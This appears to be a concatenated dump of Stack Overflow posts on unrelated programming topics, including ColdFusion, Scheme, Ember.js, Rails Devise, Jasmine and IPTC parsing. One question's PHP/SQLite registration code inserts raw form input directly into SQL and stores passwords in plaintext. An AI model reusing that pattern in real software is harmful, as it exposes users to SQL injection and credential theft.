30877931	0	 <p>As per my understanding, you want to filter-out file names with a specific file type/extension (ex: pdf) from the main list <code>uploadedfilenames</code>. This is one of the easiest ways:</p> <pre><code>&lt;cfset lFileNames = "C:\myfiles\proj\icon-img-12.png,C:\myfiles\proj\sample-file.ppt,C:\myfiles\proj\fin-doc1.docx,C:\myfiles\proj\fin-doc2.pdf,C:\myfiles\proj\invoice-temp.docx,C:\myfiles\proj\invoice-final.pdf" /&gt; &lt;cfset lResultList = "" /&gt; &lt;cfset fileExtToExclude = "pdf" /&gt; &lt;cfloop list="#lFileNames#" index="fileItem" delimiters=","&gt; &lt;cfif ListLast(ListLast(fileItem,'\'),'.') NEQ fileExtToExclude&gt; &lt;cfset lResultList = ListAppend(lResultList,"#fileItem#") /&gt; &lt;/cfif&gt; &lt;/cfloop&gt; </code></pre> <p>Using only List Function provided by ColdFusion this is easily done, you can test and try the code <a href="http://trycf.com/gist/5c726ca8c851a4ea072f/acf11?theme=monokai" rel="nofollow">here</a>. I would recommend you to wrap this code around a function for easy handling. Another way to do it would be to use some complex regular expression on the list (if you're looking for a more general solution, outside the context of ColdFusion).</p> <p>Now, applying the solution to your problem:</p> <pre><code>&lt;cfset uploadedfilenames='#myfiles.clientFile#' &gt; &lt;cfset lResultList = "" /&gt; &lt;cfset fileExtToExclude = "pdf" /&gt; &lt;cfloop list="#uploadedfilenames#" index="fileItem" delimiters=","&gt; &lt;cfif ListLast(ListLast(fileItem,'\'),'.') NEQ fileExtToExclude&gt; &lt;cfset lResultList = ListAppend(lResultList,fileItem) /&gt; &lt;/cfif&gt; &lt;/cfloop&gt; &lt;cfset uploadedfilenames = lResultList /&gt; &lt;!--- rest of your code continues ---&gt; </code></pre> <p>The result list <code>lResultList</code> is copied to the original variable <code>uploadedfilenames</code>.</p>
32432634	0	 <p>Ideally the web service would use one of the HTTP status codes to tell the client there was a problem, then you could use a response descriptor specifically to handle that and an <code>NSError</code>.</p> <p>You can use a dynamic mping which checks the result type and determines how to process the result. Depending on the flag value a different mapping will be applied to create a different result class with the appropriate details for you to use. Exactly how you handle that is up to you, either with a class type check, or perhaps having your model objects return a 'success' flag, perhaps supported by a protocol.</p>
24870822	0	 <p>As @leppie points out, the accepted solution does not match your text. I would have thought of the following:</p> <pre><code>(define (iterator start step end) (lambda () (if (&gt;= start end) '() (begin0 start (set! start (+ start step)))))) </code></pre> <p>testing:</p> <pre><code>(define i (iterator 0 2 7)) (i) =&gt; 0 (i) =&gt; 2 (i) =&gt; 4 (i) =&gt; 6 (i) =&gt; '() (i) =&gt; '() </code></pre> <p>Note that I use Racket's <code>begin0</code> form. If your Scheme doesn't have it, you can change to the following:</p> <pre><code>(define (iterator start step end) (lambda () (if (&gt;= start end) '() (let ((res start)) (set! start (+ start step)) res)))) </code></pre>
27364086	0	 <p>Try to save your code at jsfiddle, show it.</p> <p>Start debugging:</p> <ol> <li>response - <code>console.log(xml);</code></li> <li>is true - <code>$('#selectYear option').length == 0</code></li> <li>is largest then 0 - <code>$(xml).find('year').length</code></li> </ol>
10610208	0	 <p>That's because you are not translating it, when you use CGAffineTransformMakeTranslation you are saying <em>Give me these coordinates</em> not <em>give me this offset</em>. In other words, make translation gives you the translation from the <em>identity</em> matrix. The function you want is CGAffineTransformTranslate. This will apply the translation to the current transform (passed as the first argument).</p>
30070051	0	 <p>Try to add method atribute for form, like</p> <pre><code>&lt;form action="'+url+'" method="post" target="_blank"&gt;&lt;/form&gt; </code></pre> <p><strong>UPDATED</strong> But you can't store data in your url. Post should send params in body, not in URL. So your url should be like '/index.php'. And your params should be in body, so add all your page, action, etc to form's hidden fields.</p> <pre><code>&lt;form action="/index.php" method="post" target=...&gt; &lt;input type="hidden" name="action" value="InvoicePrint"/&gt; ............ &lt;/form&gt; </code></pre> <p>or use jQuery post</p> <pre><code>$.ajax({ type: "POST", url: '/index.php', data: data, success: success }); </code></pre> <p>Where data is object with all your params</p>
38659084	0	 <p>You can use Core Data for local storage. You can do the upload functionality whenever the net is connected by using NSNotificationCenter in the Reachability code. Please refer the Reachability class sample code from the apple developer site. <a href="https://developer.apple.com/library/ios/samplecode/Reachability/Introduction/Intro.html" rel="nofollow">https://developer.apple.com/library/ios/samplecode/Reachability/Introduction/Intro.html</a></p>
7619499	0	getting distinct column name and count when based on another table <p>i have the following query:</p> <pre><code>select cc.category from companies c left join categories cc on c.category_id = cc.category_id where company_title like '%gge%'; </code></pre> <p>which return categories with duplicate rows. what i need is to get distinct categories, with the total count of accurences of that category, something like:</p> <p>CATEGORY NAME | XXX ( where XXX is the count )</p> <p>anyone can help?</p>
23766273	0	Where do I calculate my style strings in ember.js? <p>I have an ember.js app</p> <pre><code>var App = Ember.Application.create({ LOG_TRANSITIONS: true }); App.ApplicationAdapter = DS.FixtureAdapter; //==============================ROUTER============================== App.Router.map(function() { this.resource('organisation', {path: '/:org_slug/:org_id'}, function () { this.resource('building', {path: '/:hall_slug/:hall_id'}); this.resource('group', {path: '/:grp_slug/:grp_id'}); }); }); </code></pre> <p>I cannot work out how to neatly calculate stuff from my complex fixtures data. My models include an organisation with buildings and building groups.</p> <pre><code>//==============================MODELS============================== App.Organisation = DS.Model.extend({ name: DS.attr('string'), buildings: DS.hasMany('building', {async: true}), groups: DS.hasMany('group', {async: true}) }); App.Building = DS.Model.extend({ organisation: DS.belongsTo('organisation'), name: DS.attr('string'), value: DS.attr('number'), groups: DS.hasMany('group', {async: true}) }); App.Group = DS.Model.extend({ organisation: DS.belongsTo('organisation'), buildings: DS.hasMany('building', {async: true}), name: DS.attr('string'), start: DS.attr('date'), end: DS.attr('date'), main: DS.attr('boolean'), value_range: function() { var maximum = 0.0; var minimum = 0.0; this.get('buildings').forEach(function(building) { var v = building.get('value'); maximum = Math.max(maximum, v); minimum = Math.min(minimum, v); }); return {'maximum': maximum, 'minimum': minimum}; }.property('buildings.@each.value') }); </code></pre> <p>I need to calculate stuff based on the whole building group as in the value_range function. This seems to work fine.</p> <p>I have these fixtures</p> <pre><code>//==============================FIXTURES============================== App.Organisation.FIXTURES = [ { id: 1, name: 'Organisation 1', buildings: [1,2,3,4,5,6,7,8,9,10], groups: [1, 2, 4]}, { id: 2, name: 'Organisation 2', buildings: [11,12,13,14,15,16], groups: [3]} ]; App.Building.FIXTURES = [ { id: 1, name: 'Building 1', value: -3.2, groups: [1], organisation_id: 1}, { id: 2, name: 'Building 2', value: 23.2, groups: [1,2], organisation_id: 1}, { id: 3, name: 'Building 3', value: 34.2, groups: [1,2], organisation_id: 1}, { id: 4, name: 'Building 4', value: -3.12, groups: [2], organisation_id: 1}, { id: 5, name: 'Building 5', value: 0.12, groups: [3], organisation_id: 2}, { id: 6, name: 'Building 6', value: 0.2, groups: [3], organisation_id: 2} ]; App.Group.FIXTURES = [ {id: 1, organisation_id: 1, name: 'Group 1', buildings: [1,2,3], main: true}, {id: 2, organisation_id: 1, name: 'Group 2', buildings: [2,3,4], main: false}, {id: 3, organisation_id: 2, name: 'Group 3', buildings: [5,6], main: true}, ]; </code></pre> <p>And I have managed to create a route for an organisation and an index route which should show the default ('main') group.</p> <pre><code>//==============================ROUTES============================== App.OrganisationRoute = Ember.Route.extend({ model: function(params) { return this.store.find('organisation', params.org_id); }, serialize: function(model) {//add prefix to slug and id return { org_slug: model.get('slug'), org_id: model.get('id') }; } }); App.OrganisationIndexRoute = Ember.Route.extend({ model: function(params) { //get buildings from the main group return this.modelFor('organisation').get('groups').then(function(grps) { return grps.findBy('main', true).get('buildings'); }); }, setupController: function(controller, model) { this._super(controller, model); controller.set('organisation', this.modelFor('organisation')); var mygroup = this.modelFor('organisation').get('groups').then(function(grps) { controller.set('group', grps.findBy('main', true)); }); } }); </code></pre> <p>I want to present a simple bar styled with calculated values for each building in the group (left/right and width values). The calculation uses the <code>group.value_range</code> data as well as the <code>building.value</code> data. My problem is that I can't work out where to put this function. The controller doesn't seem to have access to individual buildings. </p> <p>Do I use a handlebars helper? I have hacked this together but it smells.</p> <pre><code>Ember.Handlebars.helper('thing', function(building, group) { var range = group.get('value_range'); var value = building.get('value'); var width = Math.abs(value)/(range.maximum - range.minimum) * 100; var zero_position = Math.abs(range.minimum)/(range.maximum - range.minimum) * 100; if (value &gt;= 0) { left_or_right = 'left'; myclass = 'pos'; } else { left_or_right = 'right'; myclass = 'neg'; zero_position = 100 - zero_position; } return new Handlebars.SafeString( '&lt;div class="my-bar ' + myclass + '" style="width: ' + width + '%; ' + left_or_right + ': ' + zero_position + '%;"&gt;-&lt;/div&gt;' ); }); </code></pre> <p>Or do I need a view? The docs say views are mainly for event processing.</p> <p>I'm not quite groking the ember way on this. Can anyone help?</p>
2828051	0	 <p>Extend <code>java.util.Properties</code>, override both <code>put()</code> and <code>keys()</code>:</p> <pre><code>import java.util.Collections; import java.util.Enumeration; import java.util.HashSet; import java.util.LinkedHashSet; import java.util.Properties; import java.util.HashMap; public class LinkedProperties extends Properties { private final HashSet&lt;Object&gt; keys = new LinkedHashSet&lt;Object&gt;(); public LinkedProperties() { } public Iterable&lt;Object&gt; orderedKeys() { return Collections.list(keys()); } public Enumeration&lt;Object&gt; keys() { return Collections.&lt;Object&gt;enumeration(keys); } public Object put(Object key, Object value) { keys.add(key); return super.put(key, value); } } </code></pre>
14935714	0	 <p><code>add_csrf()</code> is a function which returns a dict. It is used to add a csrf token along with the request arguments.</p> <pre><code>from django.core.context_processors import csrf def add_csrf(request, **kwargs): """ Add CSRF to dictionary. """ d = dict(user=request.user, **kwargs) d.update(csrf(request)) return d </code></pre> <p>Where as <code>dict()</code> is a python built-in function used to create a dict </p>
15906822	0	 <p>try this tutorial, it should do it</p> <p><a href="http://net.tutsplus.com/tutorials/html-css-techniques/how-to-create-a-drop-down-nav-menu-with-html5-css3-and-jquery/" rel="nofollow">http://net.tutsplus.com/tutorials/html-css-techniques/how-to-create-a-drop-down-nav-menu-with-html5-css3-and-jquery/</a></p>
20114461	0	adding a layer mask to UIToolBar/UINavigationBar/UITabBar breaks translucency <p>Im upgrading my UI to iOS 7, and have been using a custom tab bar which has a CAShapeLayer used as a mask. Ive been trying to add dynamic blur by having a UIToolBar underneath, but if i try setting the layer.mask property on the toolbar translucency is gone, and i just have it semi transparent (but masking works of course). Is there a way to get this working? Ive also seen this behavior when adding a subview to these classes.</p>
34891204	0	Fact appears only once in the Knowledge Base <p>I have this KB (Knowledge Base):</p> <pre><code>%artist(ArtistId, ArtistName, YearofDebut). %album(AlbumId, AlbumName, YearOfRelease, Artists). %song(AlbumId, Songname, Duration). %artist/3 artist(1, 'MIEIC', 2006). artist(2, 'John Williams', 1951). artist(3, 'LEIC', 1995). artist(4, 'One Hit Wonder', 2013). %album/4 album(a1, 'MIEIC Reloaded', 2006,[1]). album(a2, 'Best Of', 2015, [2]). album(a3, 'Legacy', 2014, [1,3]). album(a4, 'Release', 2013, [4]). %song/3 song(a1, 'Rap do MIEIC', 4.14). song(a2, 'Indiana Jones', 5.25). song(a1, 'Pop do MIEIC', 4.13). song(a2, 'Harry Potter', 5.13). song(a1, 'Rock do MIEIC', 3.14). song(a2, 'Jaws', 3.04). song(a2, 'Jurassic Park', 5.53). song(a2, 'Back to the Future', 3.24). song(a2, 'Star Wars', 5.20). song(a2, 'E.T. the Extra-Terrestrial', 3.42). song(a3, 'Legacy', 3.14). song(a3, 'Inheritance', 4.13). song(a4, 'How did I do it?', 4.05). </code></pre> <p>And I want a query that asks if an album is a single (Got only one song).</p> <blockquote> <p>recentSingle(+AlbumId).</p> </blockquote> <pre><code>recentSingle(a1) ? No recentSingle(a4) ? Yes </code></pre> <p>How do I search in the whole KB and check if it only appears once?</p> <p><strong>ANSWER:</strong></p> <pre><code>recentSingle(AlbumId) :- album(AlbumId, _, Year, _), Year &gt; 2010, \+ isNotSingle(AlbumId). isNotSingle(AlbumId) :- song(AlbumId, Name1, _), song(AlbumId, Name2, _), Name1 \= Name2. </code></pre> <p>Regards</p>
19221749	0	SSRS report in CRM 'try again' issue <p>I have an SSRS report with hyperlinks in. When I add this report in to CRM it runs fine, and you are able to click on the hyperlinks. What should happen is that it takes you to the related record.. however a CRM error box comes up with the options to 'try again' or cancel. If you click 'try again', it works fine and takes you to the record. I have declared the following expression in the placeholder properties;</p> <pre><code>=IIf(IsNothing(Fields!MyEntityid.Value), Nothing, String.Format (System.Globalization.CultureInfo.InvariantCulture, "{0}?ID={1}&amp;amp;LogicalName={2}", Parameters! CRM_URL.Value, Fields!MyEntityid.Value, "MyEntity")) </code></pre> <p>Does anyone know a reason for this bizarre behaviour?</p>
27517010	0	 <p>Do you set the constraint for the label. or the label is too height for the superview , so it covers the all subviews , so you can use the lldb po the label size ,when you set the text into the label.</p>
28169229	0	 <blockquote> <p>on the second approach i will get a notification if the 'controller' object on self was replaced</p> </blockquote> <p>I would rephrase by saying that on the second approach you'll get notified if the controller object gets replaced <strong>or if its <code>isEnabled</code> property changes</strong>. In other word when <code>controller.isEnabled</code> changes (as explained by Ken's answer).</p> <p>Check this example:</p> <pre><code>- (void)viewDidLoad { [super viewDidLoad]; self.controller = [[ViewController2 alloc] init]; [self.controller addObserver:self forKeyPath:@"isEnabled" options:NSKeyValueObservingOptionNew context:nil]; [self addObserver:self forKeyPath:@"controller.isEnabled" options:NSKeyValueObservingOptionNew context:nil]; dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(1.0 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{ self.controller.isEnabled = !self.controller.isEnabled; // replace controller [self.controller removeObserver:self forKeyPath:@"isEnabled"]; self.controller = [[ViewController2 alloc] init]; dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(1.0 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{ self.controller.isEnabled = !self.controller.isEnabled; }); }); } - (void)observeValueForKeyPath:(NSString *)keyPath ofObject:(id)object change:(NSDictionary *)change context:(void *)context { NSLog(@"KVO %d %@ %p", self.controller.isEnabled, keyPath, self.controller); } </code></pre> <p>We'll get 4 KVO notifications:</p> <pre><code>KVO 1 controller.isEnabled 0x7fbbc2e4b4e0 &lt;-- These 2 fire together when we toggle isEnbled KVO 1 isEnabled 0x7fbbc2e4b4e0 &lt;-- So basically 1. and 2. behave the same KVO 0 controller.isEnabled 0x7fbbc2e58d30 &lt;---- controller was replaced KVO 1 controller.isEnabled 0x7fbbc2e58d30 &lt;---- Toggle on the new instance </code></pre>
38542629	0	 <pre><code>&lt;div class="fb-page" data-href="https://www.facebook.com/Animantrn/" data-tabs="timeline" data-width="300" data-height="400" data-small-header="false" data-adapt-container-width="true" data-hide-cover="false" data-show-facepile="true"&gt;&lt;blockquote cite="https://www.facebook.com/Animantrn/" class="fb-xfbml-parse-ignore"&gt;&lt;a href="https://www.facebook.com/Animantrn/"&gt;XYZ Tech&lt;/a&gt;&lt;/blockquote&gt;&lt;/div&gt; </code></pre> <p>Do you want this kind of page integration to web page?</p>
33093104	0	 <pre><code>2751995 &lt;-- address of identidade[0][0] 2751998 &lt;-- address of identidade[1][0] 2752001 &lt;-- address of identidade[2][0] 2752004 &lt;-- address of ctbh[0][0] 2752007 &lt;-- address of ctbh[1][0] 2752010 &lt;-- address of ctbh[2][0] 2752013 &lt;-- address of ctbah[0][0] 2752016 &lt;-- address of ctbah[1][0] 2752019 &lt;-- address of ctbah[2][0] </code></pre> <p>The addresses increase by three (within each <code>matriz3</code>) because you are iterating over the first dimension of each <code>matriz3</code>, not the second, like going down the leftmost column of a table without iterating along the rows. (The increment is steady when jumping from one <code>matriz3</code> to the next, because they occupy neighboring memory, because of the way you declared them and luck.)</p> <p>It is not clear what you are trying to do, but if you want to iterate over all elements, you must add a third nested loop-- because a <code>matriz4</code> is three-dimensional.</p>
1282303	0	Rebol Draw: how to load image from the internet? <p>This works </p> <pre><code>view layout [ image load http://i2.ytimg.com/vi/e3wShd_bX8A/default.jpg ] </code></pre> <p>But this doesn't</p> <pre><code>view layout [box 100x100 effect [draw [ image load http://i2.ytimg.com/vi/e3wShd_bX8A/default.jpg ] ] </code></pre>
31292398	0	 <p>The way to do this is to use the <code>&lt;script&gt;</code> tag instead of <code>&lt;% ... %&gt;</code> for your code block:</p> <pre><code>&lt;script language="vbscript" runat="server"&gt; Response.Write "&lt;%= Count %&gt;" &lt;/script&gt; </code></pre> <p>Output:</p> <pre><code>&lt;%= Count %&gt; </code></pre>
2374361	0	 <p>While I don't know bash and don't see how <code>permutations</code> would solve your problem, it seems that <code>itertools.product</code> is a fairly straightforward way to do this:</p> <pre><code>&gt;&gt;&gt; s = 'atgc' &gt;&gt;&gt; d = dict(zip(s, 'tacg')) &gt;&gt;&gt; import itertools &gt;&gt;&gt; for i in itertools.product(s, repeat=10): sta = ''.join(i) stb = ''.join(d[x] for x in i) </code></pre> <p>while proposed method is valid in terms of obtaining all possible permutations with replacement of the <code>'atgc'</code> string, i.e., finding <code>sta</code> string, finding <code>stb</code> would be more efficient not through the dictionary look-up, but rather the translation mechanism:</p> <pre><code>&gt;&gt;&gt; trans = str.maketrans(s, 'tacg') &gt;&gt;&gt; for i in itertools.product(s, repeat=10): sta = ''.join(i) stb = sta.translate(trans) </code></pre> <p>Thanks to Dave, for highlighting more efficient solution.</p>
38109983	0	Cloud Sql Instance restart hanging for hours <p>My cloud sql instance became unresponsive today (unable to connect using my normal credentials via mysql-client or the google cloud console) so I decided to restart it to see if that would help, since I couldn't find any better debug suggestions. That was over two hours ago and the db still shows as restarting in my cloud sql dashboard. Others that had this issue were told to email cloud-sql@google.com but it's been over an hour already with no response. I wonder if trying to kill the instance via google's api would clear things up but don't want to screw myself even more. </p>
21964850	0	 <p>Try this:</p> <pre><code>echo 'class="active"'; </code></pre>
16121678	0	 <p>In my case I had two models User and Admin and I am sticking with Devise, but I had a name collision issue with ActiveAdmin that requires me to remove the Admin model. But because there were so many references to Admin in devise, I had to take the steps below. I think it answers the original question above as well, though. I believe the correct way to do this is:</p> <p>1.Find the devise migration for the user model and roll it back <strong>[IMPORTANT: IF you DON'T want to remove the user table associated with Devise, then SKIP THIS STEP]</strong>:</p> <p><code>rake db:rollback VERSION=&lt;insert the version number of the migration&gt;</code></p> <p>example: <code>rake db:rollback VERSION:20110430031806</code></p> <p>2.Run this command to remove Devise and associated files. <code>rails destroy devise Admin</code> (if Admin is the name of the model with user accounts).</p> <p>This produces this output:</p> <pre><code>invoke active_record remove db/migrate/20110430031806_devise_create_admins.rb remove app/models/admin.rb invoke test_unit remove test/unit/admin_test.rb remove test/fixtures/admins.yml route devise_for :admins </code></pre> <p>3.To completely remove Devise, you need to remove all references to it in your models, controllers and views. This is manual work. The answer above provides good details for finding this cruft, but was incomplete for my purposes. I hope this helps someone else.</p>
7515056	0	 <p>thanks guys. i ended up setting the value of the option to <code>a</code> (my counter variable in the for loop). then i made the <code>var my_json</code> global. that way, in my onchange function for the select, i just do:</p> <pre><code>var passed_element_number = ($'#my_select_list').val(); var passed_id = my_json[passed_element_number].ID; var passed_otherfield = my_json[passed_element_number].OTHERFIELD; </code></pre> <p>i'm not sure why it wasn't letting me set the who json object as the value for the select option and then get the fields out 1 by 1 (probably my error, or maybe it's not possible), but this works ok....</p>
36449620	0	Specified sort in R <pre><code>id &lt;- c(1:10) title &lt;- c("Director", "Manager", "Associate", "Director", "Associate", "Director", "Manager", "Director", "Associate", "Director") df &lt;- as.data.frame(cbind(id,title)) df[order(title),] </code></pre> <p>I want to sort this data by designation, but not alphabetically but in some specific order like (Director>Manager>Analyst) using tool R.</p>
33362325	0	 <p>There are different errors or mistakes in your code. I will go through them from top to bottom.</p> <ol> <li><p>Your variable <code>a</code> is never used. You could delete the whole <code>double a=sc.nextInt();</code> line without affecting your program</p></li> <li><p>Your variable <code>m</code> is not initialized and has no value when you use it the first time</p></li> <li><p>When calling a method you don't specify the data types. The data types will be taken from the variables you pass into that method. So there could be methods with the same name but with different data types in their parameter list. Imagine a method <code>int sum(int a, int b)</code> taking the parameters <code>a</code> and <code>b</code> that have to be of integer type. You can easily imagine, that there may be a situation where you don't want to sum integers but doubles. So you could look out for a method <code>double sum (double a, double b)</code> and you could use this method just like the first one but this time for variables/literals of double type. Like I wrote you don't write the data types of the parameters you pass into a method because they are determined automatically. So your <code>Math.pow(..)</code> call has to look like <code>power = Math.pow(m, n);</code></p></li> <li><p>Your code is lacking two <code>}</code> at the end (for the main method and for the class)</p></li> <li><p>Try to use self-describing names for your variables. A counter named <code>i</code> may be ok but you could easily rename <code>m</code> to <code>base</code> and <code>n</code> to <code>exponent</code> and your program would automatically be easier to read.</p></li> </ol>
30040231	0	 <p>I was able to solve this by putting Jasmine specific configuring up-front in a spec runner. In my <strong>spec/</strong> directory, I defined a file named <strong>spec_runner.js</strong> with the following:</p> <pre><code>var Jasmine = require('jasmine'), reporters = require('jasmine-reporters'); var junitReporter = new reporters.JUnitXmlReporter({ savePath: __dirname, consolidateAll: false }); var jasmine = new Jasmine(); jasmine.loadConfigFile("spec/support/jasmine.json"); jasmine.addReporter(junitReporter); jasmine.execute(); </code></pre> <p>Also inside <strong>spec/</strong>, I have a <strong>unit/</strong> and <strong>integration/</strong> directory where I have my unit and integration tests respectively. It's also important to have a <strong>spec/support/</strong> directory containing your configuration options for Jasmine. This directory should be created if you issue <strong>jasmine init</strong> from the root of your project.</p> <p><strong>spec/support/jasmine.json</strong> should look like the following for this example:</p> <pre><code>{ "spec_dir": "spec", "spec_files": [ "**/*[sS]pec.js" ], "helpers": [ "helpers/**/*.js" ] } </code></pre> <p>You should get JUnit XML output if you issue: <strong>jasmine spec/test_runner.js</strong> from the root of your project at a command line prompt.</p> <p>Lastly, to change the path to which your JUnit XML is written, you must change the <strong>savePath</strong> value in the object literal that is passed when creating a new instance of JUnitXmlReporter.</p>
1947215	0	 <p>after searching for all available options , I found that the best way to set a variable in a process definition through the tag</p>
5833026	0	Extract IPTC information from JPEG using Javascript <p>I'm trying to extract IPTC photo caption information from a JPEG file using Javascript. (I know I can do this server-side, but I'm looking specifically for a Javascript solution.)</p> <p>I found <a href="https://gist.github.com/raw/161494/8b32c671198a24a947ad654c07e7e09b1470724f/Exif%20JS">this script</a>, which extracts EXIF information ... but I'm not sure how to adapt it to grab IPTC data.</p> <p>Are there any existing scripts that offer such functionality? If not, how would you modify the EXIF script to also parse IPTC data?</p> <p><b>UPDATE</b></p> <p>I've modified the EXIF script I linked above. It <i>sorta</i> does what I want, but it's not grabbing the right data 100 percent of the time.</p> <p>After line 401, I added:</p> <pre><code>else if (iMarker == 237) { // 0xED = Application-specific 13 (Photoshop IPTC) if (bDebug) log("Found 0xFFED marker"); return readIPTCData(oFile, iOffset + 4, getShortAt(oFile, iOffset+2, true)-2); } </code></pre> <p>And then elsewhere in the script, I added this function:</p> <pre><code>function readIPTCData(oFile, iStart, iLength) { exif = new Array(); if (getStringAt(oFile, iStart, 9) != "Photoshop") { if (bDebug) log("Not valid Photoshop data! " + getStringAt(oFile, iStart, 9)); return false; } var output = ''; var count = 0; two = new Array(); for (i=0; i&lt;iLength; i++) { if (getByteAt(oFile, iStart + i) == 2 &amp;&amp; getByteAt(oFile, iStart + i + 1) == 120) { var caption = getString2At(oFile, iStart + i + 2, 800); } if (getByteAt(oFile, iStart + i) == 2 &amp;&amp; getByteAt(oFile, iStart + i + 1) == 80) { var credit = getString2At(oFile, iStart + i + 2, 300); } } exif['ImageDescription'] = caption; exif['Artist'] = credit; return exif; } </code></pre> <p>So let me now modify my question slightly. How can the function above be improved?</p>
22302876	0	 <p>To answer your question: Yes, I experience the same problem. It seems to work fine when running my app. But when I run my XCTests on my device it seems that the keychain returns error -34018. The strange thing is that it doesn't happen when I run the tests on the simulator. </p> <p>EDIT: I found a solution which I have explained <a href="http://stackoverflow.com/a/22305193/1145289">in this answer</a></p>
12835598	0	 <p>So in other words, your query is vulnerable with <code>SQL Injection</code>. Better use <code>PDO</code> or <code>MySQLi</code> Extension since you tagged `PHP.</p> <p>Take time to read on this article: <a href="http://stackoverflow.com/questions/60174/best-way-to-prevent-sql-injection-in-php"><strong>Best way to prevent SQL injection in PHP?</strong></a></p>
36404693	0	Get latest version of table using hive union-all operator <p>I have versioned hive tables containing metrics partitioned by date that I want to join with other versioned hive tables containing different (but related) metrics also partitioned by date. For example: </p> <pre><code>Table A_v1 (exists for day 1) | col1 | col2 | | a1 | b1 | | a2 | b2 | Table A_v2 (exists for day 2, represents metrics derivation algorithm change) | col1 | col2 | | a3 | b3 | | a4 | b4 | Table B_v1 (exists for both day 1 and day 2) | col3 | col4 | | a1 | c1 | | a2 | c2 | | a3 | c3 | | a4 | c4 | </code></pre> <p>I know I can use the UNION ALL Hive operator to basically concatenate tables <code>A_v1</code> and <code>A_v2</code>. What I would like to do however is write something like</p> <pre><code>select a.col1, a.col2, b.col4 from union(A_v1, A_v2) a, B_v1 b where a.col1=b.col3 </code></pre> <p>I know the above syntax is wrong (intended only as a pseudo-code query) but is there some way of accomplishing the same thing in Hive?</p>
23710767	0	 <p>Look at the query:</p> <pre><code>from HeadCategory where headCategoryName=Cash In Hand </code></pre> <p>That's not a valid query at all. What is Cash? What is Hand? A correct query would be</p> <pre><code>from HeadCategory where headCategoryName='Cash In Hand' </code></pre> <p>Learn to pass parameters correctly and safely to queries:</p> <pre><code>session.createQuery("from HeadCategory where headCategoryName = :name") .setString("name", headCategoryName) .list(); </code></pre>
37874982	0	 <p>I assume redirect to <code>/</code> is handled by <code>BlogFront</code> handler. Seems you're hitting datastore eventual consistency. </p> <p><a href="http://stackoverflow.com/questions/27633835/google-app-engine-datastore-dealing-with-eventual-consistency">Google App Engine Datastore: Dealing with eventual consistency</a></p> <p><a href="http://stackoverflow.com/questions/15261099/gae-how-long-to-wait-for-eventual-consistency">GAE: How long to wait for eventual consistency?</a></p>
40971656	0	Data not storing in SQLite database <p>New to PHP. I am trying to create a register and Log In form using PHP and SQLite. Below is my code.</p> <p><strong>register.php</strong></p> <pre><code> &lt;?php class MyDB extends SQLite3 { function __construct() { $this-&gt;open('db/db.db'); } } $db = new MyDB(); if(!$db) { echo $db-&gt;lastErrorMsg(); } else { echo 'Open successfull'; } ?&gt; &lt;!DOCTYPE html&gt; &lt;html lang="en"&gt; &lt;head&gt; &lt;title&gt;admin portal&lt;/title&gt; &lt;meta charset="UTF-8"&gt; &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt; &lt;link rel="stylesheet" type="text/css" href="css/style.css" media="screen"&gt; &lt;/head&gt; &lt;body&gt; &lt;div align="center"&gt; &lt;div class="form-area"&gt; &lt;form action="" method="post" enctype="multipart/form-data"&gt; &lt;input type="text" name="fname" value="" placeholder="First Name"&gt; &lt;input type="text" name="lname" value="" placeholder="Last Name"&gt; &lt;input type="text" name="username" value="" placeholder="Username"&gt; &lt;input type="email" name="email" value="" placeholder="Email"&gt; &lt;input type="password" name="password" value="" placeholder="Password"&gt; &lt;input type="password" name="cfpassword" value="" placeholder="Confirm Password"&gt; &lt;input type="submit" name="register" value="Register"&gt;&lt;br&gt; &lt;/form&gt; &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; &lt;?php if (isset($_POST["submit"])) { $fname = $_POST['fname']; $lname = $_POST['lname']; $username = $_POST['username']; $email = $_POST['email']; $password = $_POST['password']; $cfpassword = $_POST['cfpassword']; $sql = &lt;&lt;&lt;EOF INSERT INTO USERS (ID, FNAME, LNAME, USERNAME, EMAIL, PASSWORD, PASSCONFIRM) VALUES (1, '$fname', '$lname', '$username', '$email', '$password', $cfpassword ); EOF; $ret = $db-&gt;exec($sql); if(!$ret){ echo $db-&gt;lastErrorMsg(); } else { echo "Registered Successfully\n"; } $db-&gt;close(); } ?&gt; </code></pre> <p><strong>db.php</strong> </p> <pre><code>&lt;?php class MyDB extends SQLite3 { function __construct() { $this-&gt;open('db/db.db'); } } $db = new MyDB(); if(!$db) { echo $db-&gt;lastErrorMsg(); } else { echo 'Open successfull'; } $sql =&lt;&lt;&lt;EOF CREATE TABLE USERS (ID INT PRIMARY KEY NOT NULL, EMAIL VARCHAR(250) NOT NULL, PASSWORD VARCHAR(250) NOT NULL, FNAME VARCHAR(250) NOT NULL, LNAME VARCHAR(250) NOT NULL, ACCESS VARCHAR(250) NOT NULL, IMAGE VARCHAR(250) NOT NULL, DATE DATETIME NOT NULL, USERNAME VARCHAR(250) NOT NULL, PASSCONFIRM VARCHAR(250) NOT NULL); EOF; $ret = $db-&gt;exec($sql); if(!$ret){ echo $db-&gt;lastErrorMsg(); } else { echo "Table created successfully"; } ?&gt; </code></pre> <p>Please what's wrong with this code. The database opens but registered data is no stored into database. Would also appretiate if i can be linked to a material to read on SQLite3 and HTML forms.</p>
14199897	0	 <p>Question abandoned because it seems unanswerable. Will update if I find a solution at a later date.</p>
23214589	0	 <p>this values set in <a href="http://www.yiiframework.com/doc/api/1.1/CWebUser" rel="nofollow">CWebUser</a> class, in login method, look <a href="https://github.com/yiisoft/yii/blob/1.1.14/framework/web/auth/CWebUser.php#L715" rel="nofollow">this</a> and <a href="https://github.com/yiisoft/yii/blob/1.1.14/framework/web/auth/CWebUser.php#L227" rel="nofollow">this</a>.</p> <p>"8f9f85051824e063ad61f50fedc52f93" is prefix generated in method <a href="https://github.com/yiisoft/yii/blob/1.1.14/framework/web/auth/CWebUser.php#L542" rel="nofollow">getStateKeyPrefix</a></p>
